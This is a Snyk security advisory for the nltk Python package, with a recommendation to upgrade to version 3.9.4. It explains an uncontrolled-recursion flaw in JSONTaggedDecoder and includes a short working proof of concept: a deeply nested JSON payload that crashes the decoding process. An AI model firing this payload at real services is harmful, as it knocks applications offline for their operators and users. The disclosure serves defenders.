Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Uncontrolled Recursion vulnerabilities in an interactive lesson.
Start learningUpgrade nltk to version 3.9.4 or higher.
nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.
Affected versions of this package are vulnerable to Uncontrolled Recursion via the JSONTaggedDecoder.decode_obj() function in jsontags.py. An attacker can cause the application to crash by submitting a deeply nested JSON structure that exceeds the recursion limit, resulting in an unhandled exception.
import sys, json
from nltk.jsontags import JSONTaggedDecoder
depth = sys.getrecursionlimit() + 50 # e.g. 1050
payload = '{"x":' * depth + "null" + "}" * depth
# Raises RecursionError, crashing the process
json.loads(payload, cls=JSONTaggedDecoder)